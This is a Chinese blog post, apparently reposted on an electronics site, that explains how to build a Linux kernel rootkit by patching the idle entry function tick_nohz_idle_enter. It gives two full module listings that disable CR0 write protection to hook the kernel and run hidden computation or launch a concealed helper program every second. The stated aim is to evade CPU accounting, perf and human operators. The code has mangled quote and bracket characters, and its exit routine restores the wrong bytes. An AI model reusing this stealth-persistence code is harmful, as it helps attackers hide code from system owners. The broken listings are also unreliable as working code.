前面談過如何隱藏一個進程,我說過,隱藏procfs接口那無異于掩耳盜鈴,正確的做法應該是將task_struct從任何鏈表中摘除,僅僅保留于run queue。
但CPU利用率會暴露你隱藏的進程…
于是hook掉CPU記賬接口…
但是…于是…
害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…
左右手互搏…目前防御手稍微占優勢。
其實,還有一個好辦法,即劫持idle,這樣我們甚至可以不用管CPU記賬程序, idle多當然好啊,運維們不正期望idle多嗎?idle多沒人會去perf的吧…
測試代碼如下:
#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》
char *stub;char *addr = NULL;static unsigned long base = 0;
void test_stub1(void){ unsigned long i;
local_bh_disable(); // 防止期間時鐘中斷記賬到sys或者si。 local_irq_disable(); // 開始我們的計算任務。 for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx
”, base); } local_irq_enable(); local_bh_enable();
}
#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5
unsigned char *idle;
unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;
idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);
stub = (void *)test_stub1; addr = (void *)idle;
offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);
e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);
return 0;}
static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}
module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);
需要注意的是,計算任務不能睡眠,不能schedule,不能太太太繁重,以免被perf發現。其實,如果機器在機房,電源風扇的轟鳴是可以掩蓋CPU風扇的,不過液冷的話就要另想辦法了。
我們看下效果吧。我用虛擬機測試,下面左邊是宿主機,右邊是虛擬機,沒有劫持idle時的CPU利用率如下:
下面是劫持后的:
雖然右邊虛擬機的CPU依然幾乎全部都是idle,和未劫持時沒有差別,然而宿主機的能耗騙不了人。筆記本的風扇噪聲在加大,以至于我不得不用Macs Fan Control將風扇轉速調低,然而鋁殼正在變得發燙。
哪個是真的,哪個是假的,假亦真時真亦假…
我倒是覺得,idle作為Rootkit的根據地還是非常不錯,如果你想執行一些 真正的任務 ,那就call usermodehelper唄,只要確保這個helper完成任務及時退出就行。
#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》
char *stub;char *addr = NULL;static unsigned long base = 0;static unsigned long last = 0;
void test_stub1(void){ unsigned long i;#if 0 local_bh_disable(); local_irq_disable(); for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx
”, base); } local_irq_enable(); local_bh_enable();#endif //if (jiffies % 1000 == 0 && last != jiffies) { if (jiffies - last 》= 1000) { // /root/run 程序一定不要太猶豫,做完就走。且該程序要以某種方式使readdir無法顯示。 call_usermodehelper(“/root/run”, NULL, NULL, 0); last = jiffies; }}
#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5
unsigned char *idle;
unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;
idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);
stub = (void *)test_stub1; addr = (void *)idle;
offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);
e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);
return 0;}
static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}
module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);
run的代碼如下:
#include 《fcntl.h》int main(int argc, char **argv){ int fd = open(“/dev/pts/0”, O_RDWR); write(fd, “aaaaaaaaa
”, 10);}
效果就是在系統壓力不大時,每隔大約1秒中在/dev/pts/0終端打印一串a。
如果run程序執行時間在作為human being的運維人員和經理的視角轉瞬即逝的話,同時run又是一個隱藏文件的話,試問如何發現誰打出的a呢?
運維和經理打字敲回車以及他們的蛋白質眼睛無法分辨200ms以下的事件。
責任編輯:pj
-
cpu
+關注
關注
68文章
10901瀏覽量
212750 -
接口
+關注
關注
33文章
8691瀏覽量
151745
發布評論請先 登錄
相關推薦
評論